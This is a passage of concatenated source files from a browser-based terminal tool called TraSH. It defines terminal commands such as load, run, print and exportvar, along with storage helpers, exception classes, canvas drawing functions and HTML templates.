'cmdClear.args.section', 31 | 'The section to clear
- screen: Clean the screen
- history: Clean the command history', 32 | ), 33 | 'screen', 34 | ['screen', 'history'], 35 | ], 36 | ], 37 | example: '-s history', 38 | }; 39 | } 40 | -------------------------------------------------------------------------------- /src/js/page/terminal/commands/context_term.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 9 | import type Terminal from '@terminal/terminal'; 10 | 11 | async function cmdTerminalContextOperation( 12 | this: Terminal, 13 | kwargs: CMDCallbackArgs, 14 | ctx: CMDCallbackContext, 15 | ): Promise<{[string]: mixed}> { 16 | if (kwargs.operation === 'set') { 17 | this.userContext = kwargs.value; 18 | } else if (kwargs.operation === 'write') { 19 | Object.assign(this.userContext, kwargs.value); 20 | } else if (kwargs.operation === 'delete') { 21 | if (Object.hasOwn(this.userContext, kwargs.value)) { 22 | delete this.userContext[kwargs.value]; 23 | } else { 24 | throw new Error( 25 | i18n.t('cmdContextTerm.error.notPresent', 'The selected key is not present in the terminal context'), 26 | ); 27 | } 28 | } 29 | ctx.screen.print(this.userContext); 30 | return this.userContext; 31 | } 32 | 33 | export default function (): Partial { 34 | return { 35 | definition: i18n.t('cmdContextTerm.definition', 'Operations over terminal context dictionary'), 36 | callback: cmdTerminalContextOperation, 37 | detail: (i18n.t( 38 | 'cmdContextTerm.detail', 39 | 'Operations over terminal context dictionary. This context only affects to the terminal operations.', 40 | ): string), 41 | args: [ 42 | [ 43 | ARG.String, 44 | ['o', 'operation'], 45 | false, 46 | i18n.t('cmdContextTerm.args.operation', 'The operation to do'), 47 | 'read', 48 | ['read', 'write', 'set', 'delete'], 49 | ], 50 | [ARG.Any, ['v', 'value'], false, i18n.t('cmdContextTerm.args.value', 'The value')], 51 | ], 52 | example: '-o write -v {the_example: 1}', 53 | }; 54 | } 55 | -------------------------------------------------------------------------------- /src/js/page/terminal/commands/exportvar.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import uniqueId from '@trash/utils/unique_id'; 8 | import {ARG} from '@trash/constants'; 9 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 10 | import type Terminal from '@terminal/terminal'; 11 | 12 | async function cmdExportVar(this: Terminal, kwargs: CMDCallbackArgs, ctx: CMDCallbackContext): Promise { 13 | const varname = uniqueId('term'); 14 | window[varname] = kwargs.value; 15 | ctx.screen.print( 16 | i18n.t( 17 | 'cmdExportVar.resultExported', 18 | "Command result exported! now you can use '{{varname}}' variable in the browser console", 19 | {varname}, 20 | ), 21 | ); 22 | return varname; 23 | } 24 | 25 | export default function (): Partial { 26 | return { 27 | definition: i18n.t('cmdExportVar.definition', 'Exports the command result to a browser console variable'), 28 | callback: cmdExportVar, 29 | detail: i18n.t('cmdExportVar.detail', 'Exports the command result to a browser console variable.'), 30 | args: [[ARG.Any, ['v', 'value'], true, i18n.t('cmdExportVar.args.value', 'The value to export')]], 31 | example: '-v (search res.partner)', 32 | }; 33 | } 34 | -------------------------------------------------------------------------------- /src/js/page/terminal/commands/genfile.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import file2file from '@terminal/utils/file2file'; 8 | import {ARG} from '@trash/constants'; 9 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 10 | import type Terminal from '@terminal/terminal'; 11 | 12 | async function cmdGenFile(this: Terminal, kwargs: CMDCallbackArgs): Promise<> { 13 | return file2file(kwargs.name, kwargs.options); 14 | } 15 | 16 | export default function (): Partial { 17 | return { 18 | definition: i18n.t('cmdGenFile.definition', 'Generate a File object'), 19 | callback: cmdGenFile, 20 | detail: i18n.t( 21 | 'cmdGenFile.detail', 22 | 'Open a browser file dialog and instanciates a File object with the content of the selected file', 23 | ), 24 | args: [ 25 | [ARG.String, ['n', 'name'], false, i18n.t('cmdGenFile.args.name', 'The File object file name')], 26 | [ARG.Dictionary, ['o', 'options'], false, i18n.t('cmdGenFile.args.options', 'The File object options')], 27 | ], 28 | example: '-n unnecessaryName.png', 29 | }; 30 | } 31 | -------------------------------------------------------------------------------- /src/js/page/terminal/commands/input.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 9 | import type Terminal from '@terminal/terminal'; 10 | 11 | async function cmdInput(this: Terminal, kwargs: CMDCallbackArgs, ctx: CMDCallbackContext): Promise { 12 | return await ctx.screen 13 | .showQuestion( 14 | kwargs.question, 15 | kwargs.choices, 16 | kwargs.default, 17 | ); 18 | } 19 | 20 | export default function (): Partial { 21 | return { 22 | definition: i18n.t('cmdInput.definition', 'Requests user input'), 23 | callback: cmdInput, 24 | detail: i18n.t('cmdInput.detail', 'Returns the data entered by the user.'), 25 | args: [ 26 | [ARG.String, ['q', 'question'], true, i18n.t('cmdInput.args.question', 'The question')], 27 | [ARG.List | ARG.Any, ['c', 'choices'], false, i18n.t('cmdInput.args.choices', 'The choices')], 28 | [ARG.Any, ['d', 'default'], false, i18n.t('cmdInput.args.default', 'The default choice')], 29 | ], 30 | example: "-m 'Age?'", 31 | }; 32 | } 33 | -------------------------------------------------------------------------------- /src/js/page/terminal/commands/jobs.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 8 | import type Terminal from '@terminal/terminal'; 9 | import type {JobInfo} from '@terminal/shell'; 10 | 11 | async function cmdJobs( 12 | this: Terminal, 13 | kwargs: CMDCallbackArgs, 14 | ctx: CMDCallbackContext, 15 | ): Promise<$ReadOnlyArray> { 16 | const jobs = this.getShell().getActiveJobs(); 17 | ctx.screen.print( 18 | jobs.map( 19 | item => 20 | `${item.cmdInfo.cmdName} ${item.cmdInfo.cmdRaw} ${ 21 | item.healthy 22 | ? '' 23 | : `${i18n.t('cmdJobs.result.timeout', 'This job is taking a long time')}` 24 | }`, 25 | ), 26 | ); 27 | return jobs; 28 | } 29 | 30 | export default function (): Partial { 31 | return { 32 | definition: i18n.t('cmdJobs.definition', 'Display running jobs'), 33 | callback: cmdJobs, 34 | detail: i18n.t('cmdJobs.detail', 'Display running jobs'), 35 | }; 36 | } 37 | -------------------------------------------------------------------------------- /src/js/page/terminal/commands/load.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import injectResource from '@terminal/utils/inject_resource'; 9 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 10 | import type Terminal from '@terminal/terminal'; 11 | 12 | async function cmdLoadResource(this: Terminal, kwargs: CMDCallbackArgs): Promise<> { 13 | return injectResource(new URL(kwargs.url), kwargs.type); 14 | } 15 | 16 | export default function (): Partial { 17 | return { 18 | definition: i18n.t('cmdLoad.definition', 'Load external resource'), 19 | callback: cmdLoadResource, 20 | detail: i18n.t('cmdLoad.detail', 'Load external source (javascript & css)'), 21 | args: [ 22 | [ARG.String, ['u', 'url'], true, i18n.t('cmdLoad.args.url', 'The URL of the asset')], 23 | [ARG.String, ['t', 'type'], false, i18n.t('cmdLoad.args.type', 'The type of the asset'), undefined, ['js', 'mjs', 'css']], 24 | ], 25 | example: "-u 'https://example.com/libs/term_extra.js'", 26 | }; 27 | } 28 | -------------------------------------------------------------------------------- /src/js/page/terminal/commands/print.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 9 | import type Terminal from '@terminal/terminal'; 10 | 11 | async function cmdPrint(this: Terminal, kwargs: CMDCallbackArgs, ctx: CMDCallbackContext): Promise { 12 | ctx.screen.print(kwargs.msg); 13 | return kwargs.msg; 14 | } 15 | 16 | export default function (): Partial { 17 | return { 18 | definition: i18n.t('cmdPrint.definition', 'Print a message'), 19 | callback: cmdPrint, 20 | detail: i18n.t('cmdPrint.detail', 'Eval parameters and print the result.'), 21 | args: [[ARG.Any, ['m', 'msg'], true, i18n.t('cmdPrint.args.msg', 'The message to print')]], 22 | aliases: ['echo'], 23 | example: "-m 'This is a example'", 24 | }; 25 | } 26 | -------------------------------------------------------------------------------- /src/js/page/terminal/commands/run.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import file2file from '@terminal/utils/file2file'; 8 | import type {CMDDef} from '@trash/interpreter'; 9 | import type Terminal from '@terminal/terminal'; 10 | 11 | async function cmdRun(this: Terminal): Promise<> { 12 | const file_obj = await file2file(); 13 | const file_content = await file_obj.text(); 14 | return await this.execute(file_content, false, false, true); 15 | } 16 | 17 | export default function (): Partial { 18 | return { 19 | definition: i18n.t('cmdRun.definition', 'Run a TraSH script'), 20 | callback: cmdRun, 21 | detail: i18n.t('cmdRun.detail', 'Run a TraSH script'), 22 | }; 23 | } 24 | -------------------------------------------------------------------------------- /src/js/page/terminal/commands/toggle_term.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 9 | import type Terminal from '@terminal/terminal'; 10 | 11 | async function cmdToggleTerm(this: Terminal, kwargs: CMDCallbackArgs): Promise<> { 12 | let force_show; 13 | if (typeof kwargs.force !== 'undefined') { 14 | force_show = kwargs.force === 'show'; 15 | } 16 | return this.doToggle(force_show); 17 | } 18 | 19 | export default function (): Partial { 20 | return { 21 | definition: i18n.t('cmdToggleTerm.definition', 'Toggle terminal visibility'), 22 | callback: cmdToggleTerm, 23 | detail: i18n.t('cmdToggleTerm.detail', 'Toggle terminal visibility'), 24 | args: [ 25 | [ARG.String, ['f', 'force'], false, i18n.t('cmdToggleTerm.args.force', 'Force show/hide'), undefined, ['show', 'hide']], 26 | ], 27 | example: "-s true", 28 | }; 29 | } 30 | -------------------------------------------------------------------------------- /src/js/page/terminal/core/storage/local.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import checkStorageError from '@terminal/utils/check_storage_error'; 6 | 7 | export type LocalStorageSetItemError = (error: string) => void; 8 | 9 | export function getStorageItem(item: string, def_value: T): T { 10 | const res = localStorage.getItem(item); 11 | if (typeof res === 'undefined' || res === null) { 12 | return def_value; 13 | } 14 | return JSON.parse(res); 15 | } 16 | 17 | export function setStorageItem(item: string, value: mixed, on_error?: LocalStorageSetItemError): boolean { 18 | try { 19 | // $FlowIgnore 20 | localStorage.setItem(item, JSON.stringify(value)); 21 | } catch (err) { 22 | const err_check = checkStorageError(err); 23 | if (on_error && err_check) { 24 | on_error(err_check); 25 | } 26 | return false; 27 | } 28 | 29 | return true; 30 | } 31 | 32 | export function removeStorageItem(item: string): boolean { 33 | try { 34 | localStorage.removeItem(item); 35 | } catch (_err) { 36 | return false; 37 | } 38 | return true; 39 | } 40 | -------------------------------------------------------------------------------- /src/js/page/terminal/core/storage/session.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import checkStorageError from '@terminal/utils/check_storage_error'; 6 | 7 | export type SessionStorageSetItemError = (error: string) => void; 8 | 9 | export function getStorageItem(item: string, def_value: T): T { 10 | const res = sessionStorage.getItem(item); 11 | if (typeof res === 'undefined' || res === null) { 12 | return def_value; 13 | } 14 | return JSON.parse(res); 15 | } 16 | 17 | export function setStorageItem(item: string, value: mixed, on_error?: SessionStorageSetItemError): boolean { 18 | try { 19 | // $FlowIgnore 20 | sessionStorage.setItem(item, JSON.stringify(value)); 21 | } catch (err) { 22 | const err_check = checkStorageError(err); 23 | if (on_error && err_check) { 24 | on_error(err_check); 25 | } 26 | return false; 27 | } 28 | 29 | return true; 30 | } 31 | 32 | export function removeStorageItem(item: string): boolean { 33 | try { 34 | sessionStorage.removeItem(item); 35 | } catch (_err) { 36 | return false; 37 | } 38 | return true; 39 | } 40 | -------------------------------------------------------------------------------- /src/js/page/terminal/exceptions/element_not_found_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default class extends Error { 9 | data: string; 10 | 11 | constructor(selector: string) { 12 | super(i18n.t('terminal.exception.ElementNotFoundError', "Element not found error ({{selector}})!", {selector})); 13 | this.name = 'ElementNotFoundError'; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /src/js/page/terminal/exceptions/element_not_found_template_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default class extends Error { 9 | data: string; 10 | 11 | constructor() { 12 | super(i18n.t('terminal.exception.ElementNotFoundTemplateError', "No elements found!")); 13 | this.name = 'ElementNotFoundTemplateError'; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /src/js/page/terminal/exceptions/invalid_element_template_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default class extends Error { 9 | data: string; 10 | 11 | constructor() { 12 | super(i18n.t('terminal.exception.InvalidElementTemplateError', "Invalid element in template!")); 13 | this.name = 'InvalidElementTemplateError'; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /src/js/page/terminal/exceptions/process_job_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default class extends Error { 9 | data: string; 10 | 11 | constructor(cmd_name: string, error_data: string) { 12 | super(i18n.t('terminal.exception.ProcessJobError', "Error executing '{{cmd_name}}'", {cmd_name})); 13 | this.name = 'ProcessJobError'; 14 | this.data = error_data; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /src/js/page/terminal/exceptions/too_many_elements_template_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default class extends Error { 9 | data: string; 10 | 11 | constructor() { 12 | super(i18n.t('terminal.exception.TooManyElementsTemplateError', "Too many elements in the template to be assigned to one element!")); 13 | this.name = 'TooManyElementsTemplateError'; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /src/js/page/terminal/libs/graphics/2d_clear.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import {FUNCTION_TYPE} from '@trash/function'; 9 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 10 | import type VMachine from '@trash/vmachine'; 11 | 12 | async function func2DClear(vmachine: VMachine, kwargs: CMDCallbackArgs): Promise<> { 13 | const ctx = kwargs.canvas.getContext("2d"); 14 | const w = (kwargs.width === -1) ? kwargs.canvas.width : kwargs.width; 15 | const h = (kwargs.width === -1) ? kwargs.canvas.height : kwargs.height; 16 | ctx.clearRect(kwargs.x, kwargs.y, w, h); 17 | } 18 | 19 | export default function (): Partial { 20 | return { 21 | definition: i18n.t('cmd2DClear.definition', 'Clear canvas'), 22 | callback: func2DClear, 23 | type: FUNCTION_TYPE.Internal, 24 | detail: i18n.t('cmd2DClear.detail', 'Clear canvas'), 25 | args: [ 26 | [ARG.Any, ['c', 'canvas'], true, i18n.t('cmd2DClear.args.canvas', 'The canvas')], 27 | [ARG.Number, ['x', 'x'], false, i18n.t('cmd2DClear.args.from-x', 'The rect X point'), 0], 28 | [ARG.Number, ['y', 'y'], false, i18n.t('cmd2DClear.args.from-y', 'The rect Y point'), 0], 29 | [ARG.Number, ['w', 'width'], false, i18n.t('cmd2DClear.args.width', 'The rect width'), -1], 30 | [ARG.Number, ['h', 'height'], false, i18n.t('cmd2DClear.args.height', 'The rect height'), -1], 31 | ], 32 | example: "-c $myWindow", 33 | }; 34 | } 35 | -------------------------------------------------------------------------------- /src/js/page/terminal/libs/graphics/2d_create_window.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import {FUNCTION_TYPE} from '@trash/function'; 9 | import uniqueId from '@trash/utils/unique_id'; 10 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 11 | import type VMachine from '@trash/vmachine'; 12 | 13 | async function func2DCreateWindow(vmachine: VMachine, kwargs: CMDCallbackArgs): Promise { 14 | const canvas = document.createElement('canvas'); 15 | canvas.id = uniqueId("TerminalGraphics"); 16 | canvas.width = kwargs.width; 17 | canvas.height = kwargs.height; 18 | canvas.classList.add('terminal-graphics-window'); 19 | if (typeof kwargs.x === 'undefined' && typeof kwargs.y === 'undefined') { 20 | canvas.style.marginLeft = 'auto'; 21 | canvas.style.marginRight = 'auto'; 22 | canvas.style.left = '0'; 23 | canvas.style.top = '0'; 24 | } else { 25 | canvas.style.left = `${kwargs.x}px`; 26 | canvas.style.top = `${kwargs.y}px`; 27 | } 28 | document.getElementsByTagName("body")[0].appendChild(canvas); 29 | return canvas; 30 | } 31 | 32 | export default function (): Partial { 33 | return { 34 | definition: i18n.t('cmd2DCreateWindow.definition', 'Create 2D Window'), 35 | callback: func2DCreateWindow, 36 | type: FUNCTION_TYPE.Internal, 37 | detail: i18n.t('cmd2DCreateWindow.detail', 'Create 2D Window'), 38 | args: [ 39 | [ARG.Number, ['w', 'width'], true, i18n.t('cmd2DCreateWindow.args.width', 'The canvas width')], 40 | [ARG.Number, ['h', 'height'], true, i18n.t('cmd2DCreateWindow.args.height', 'The canvas height')], 41 | [ARG.Number, ['x', 'x'], false, i18n.t('cmd2DCreateWindow.args.posx', 'The canvas position X')], 42 | [ARG.Number, ['y', 'y'], false, i18n.t('cmd2DCreateWindow.args.posy', 'The canvas position Y')], 43 | ], 44 | example: "-w 800 -h 600", 45 | }; 46 | } 47 | -------------------------------------------------------------------------------- /src/js/page/terminal/libs/graphics/2d_destroy_window.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import {FUNCTION_TYPE} from '@trash/function'; 9 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 10 | import type VMachine from '@trash/vmachine'; 11 | 12 | async function func2DDestroyWindow(vmachine: VMachine, kwargs: CMDCallbackArgs): Promise<> { 13 | kwargs.canvas.remove(); 14 | } 15 | 16 | export default function (): Partial { 17 | return { 18 | definition: i18n.t('cmd2DDestroyWindow.definition', 'Destroy 2D Window'), 19 | callback: func2DDestroyWindow, 20 | type: FUNCTION_TYPE.Internal, 21 | detail: i18n.t('cmd2DCreateWindow.detail', 'Destroy 2D Window'), 22 | args: [ 23 | [ARG.Any, ['c', 'canvas'], true, i18n.t('cmd2DDestroyWindow.args.canvas', 'The canvas')], 24 | ], 25 | example: "-c $myWindow", 26 | }; 27 | } 28 | -------------------------------------------------------------------------------- /src/js/page/terminal/libs/graphics/2d_line.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import {FUNCTION_TYPE} from '@trash/function'; 9 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 10 | import type VMachine from '@trash/vmachine'; 11 | 12 | async function func2DLine(vmachine: VMachine, kwargs: CMDCallbackArgs): Promise<> { 13 | const ctx = kwargs.canvas.getContext("2d"); 14 | ctx.beginPath(); 15 | ctx.moveTo(kwargs.from_x, kwargs.from_y); 16 | ctx.lineTo(kwargs.to_x, kwargs.to_y); 17 | ctx.lineWidth = kwargs.width; 18 | ctx.strokeStyle = kwargs.color; 19 | ctx.stroke(); 20 | } 21 | 22 | export default function (): Partial { 23 | return { 24 | definition: i18n.t('cmd2DLine.definition', 'Draw a line'), 25 | callback: func2DLine, 26 | type: FUNCTION_TYPE.Internal, 27 | detail: i18n.t('cmd2DLine.detail', 'Draw a line'), 28 | args: [ 29 | [ARG.Any, ['c', 'canvas'], true, i18n.t('cmd2DLine.args.canvas', 'The canvas')], 30 | [ARG.Number, ['fx', 'from-x'], true, i18n.t('cmd2DLine.args.from-x', 'The line from X point')], 31 | [ARG.Number, ['fy', 'from-y'], true, i18n.t('cmd2DLine.args.from-y', 'The line from Y point')], 32 | [ARG.Number, ['tx', 'to-x'], true, i18n.t('cmd2DLine.args.to-x', 'The line to X point')], 33 | [ARG.Number, ['ty', 'to-y'], true, i18n.t('cmd2DLine.args.to-y', 'The line to Y point')], 34 | [ARG.Number, ['w', 'width'], false, i18n.t('cmd2DLine.args.width', 'The line width'), 1], 35 | [ARG.String, ['lc', 'color'], false, i18n.t('cmd2DLine.args.color', 'The line color'), "#000"], 36 | ], 37 | example: "-c $myWindow -fx 20 -fy 20 -tx 40 -ty 40 -w 2 -lc '#ff0000'", 38 | }; 39 | } 40 | -------------------------------------------------------------------------------- /src/js/page/terminal/libs/graphics/2d_rect.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import {FUNCTION_TYPE} from '@trash/function'; 9 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 10 | import type VMachine from '@trash/vmachine'; 11 | 12 | async function func2DRect(vmachine: VMachine, kwargs: CMDCallbackArgs): Promise<> { 13 | const ctx = kwargs.canvas.getContext("2d"); 14 | ctx.fillStyle = kwargs.color; 15 | ctx.fillRect(kwargs.x, kwargs.y, kwargs.width, kwargs.height); 16 | } 17 | 18 | export default function (): Partial { 19 | return { 20 | definition: i18n.t('cmd2DRect.definition', 'Draw a rect'), 21 | callback: func2DRect, 22 | type: FUNCTION_TYPE.Internal, 23 | detail: i18n.t('cmd2DRect.detail', 'Draw a rect'), 24 | args: [ 25 | [ARG.Any, ['c', 'canvas'], true, i18n.t('cmd2DRect.args.canvas', 'The canvas')], 26 | [ARG.Number, ['x', 'x'], true, i18n.t('cmd2DRect.args.x', 'The rect X point')], 27 | [ARG.Number, ['y', 'y'], true, i18n.t('cmd2DRect.args.y', 'The rect Y point')], 28 | [ARG.Number, ['w', 'width'], true, i18n.t('cmd2DRect.args.width', 'The rect width'), 1], 29 | [ARG.Number, ['h', 'height'], true, i18n.t('cmd2DRect.args.height', 'The rect height'), 1], 30 | [ARG.String, ['rc', 'color'], false, i18n.t('cmd2DRect.args.color', 'The rect color'), "#000"], 31 | ], 32 | example: "-c $myWindow -x 20 -y 20 -w 120 -h 120 -rc '#ff0000'", 33 | }; 34 | } 35 | -------------------------------------------------------------------------------- /src/js/page/terminal/libs/graphics/2d_text.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import {FUNCTION_TYPE} from '@trash/function'; 9 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 10 | import type VMachine from '@trash/vmachine'; 11 | 12 | async function func2DText(vmachine: VMachine, kwargs: CMDCallbackArgs): Promise<> { 13 | const ctx = kwargs.canvas.getContext("2d"); 14 | ctx.fillStyle = kwargs.color; 15 | ctx.font = kwargs.font; 16 | ctx.fillText(kwargs.text, kwargs.x, kwargs.y); 17 | } 18 | 19 | export default function (): Partial { 20 | return { 21 | definition: i18n.t('func2DText.definition', 'Draw a text'), 22 | callback: func2DText, 23 | type: FUNCTION_TYPE.Internal, 24 | detail: i18n.t('func2DText.detail', 'Draw a text'), 25 | args: [ 26 | [ARG.Any, ['c', 'canvas'], true, i18n.t('func2DText.args.canvas', 'The canvas')], 27 | [ARG.String, ['t', 'text'], true, i18n.t('func2DText.args.text', 'The text')], 28 | [ARG.Number, ['x', 'x'], true, i18n.t('func2DText.args.x', 'The text X point')], 29 | [ARG.Number, ['y', 'y'], true, i18n.t('func2DText.args.y', 'The text Y point')], 30 | [ARG.String, ['f', 'font'], true, i18n.t('func2DText.args.font', 'The text font'), 1], 31 | [ARG.String, ['tc', 'color'], false, i18n.t('func2DText.args.color', 'The text color'), "#000"], 32 | ], 33 | example: "-c $myWindow 'Hello World!' -x 20 -y 20 -tc '#ff0000'", 34 | }; 35 | } 36 | -------------------------------------------------------------------------------- /src/js/page/terminal/libs/graphics/__all__.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | import func2DCreateWindow from './2d_create_window'; 5 | import funcDDestroyWindow from './2d_destroy_window'; 6 | import func2DLine from './2d_line'; 7 | import func2DRect from './2d_rect'; 8 | import func2DClear from './2d_clear'; 9 | import func2DText from './2d_text'; 10 | import type VMachine from '@trash/vmachine'; 11 | 12 | export default function (vm: VMachine) { 13 | vm.registerCommand('2d_create_window', func2DCreateWindow()); 14 | vm.registerCommand('2d_destroy_window', funcDDestroyWindow()); 15 | vm.registerCommand('2d_line', func2DLine()); 16 | vm.registerCommand('2d_rect', func2DRect()); 17 | vm.registerCommand('2d_clear', func2DClear()); 18 | vm.registerCommand('2d_text', func2DText()); 19 | } 20 | -------------------------------------------------------------------------------- /src/js/page/terminal/templates/error_message.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function ( 6 | error_name: string, 7 | error_message: string, 8 | error_id: number, 9 | exception_type: string, 10 | context: string, 11 | args: string, 12 | debug: string, 13 | ): string { 14 | return ( 15 | '
' + 16 | `

${error_name}

` + 17 | `${error_message}` + 18 | 19 | '' + 53 | '
' 54 | ); 55 | } 56 | -------------------------------------------------------------------------------- /src/js/page/terminal/templates/help_command.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (cmd: string, def: string, is_internal: boolean): string { 6 | let html = ''; 7 | if (is_internal) { 8 | html += is_internal ? "" : ""; 9 | } 10 | html += `${cmd} - ${def}`; 11 | return html; 12 | } 13 | -------------------------------------------------------------------------------- /src/js/page/terminal/templates/prompt_command.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (prompt: string, cmd: string): string { 6 | return `${prompt} ${cmd}`; 7 | } 8 | -------------------------------------------------------------------------------- /src/js/page/terminal/templates/prompt_command_hidden_args.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (prompt: string, cmd: string): string { 6 | return 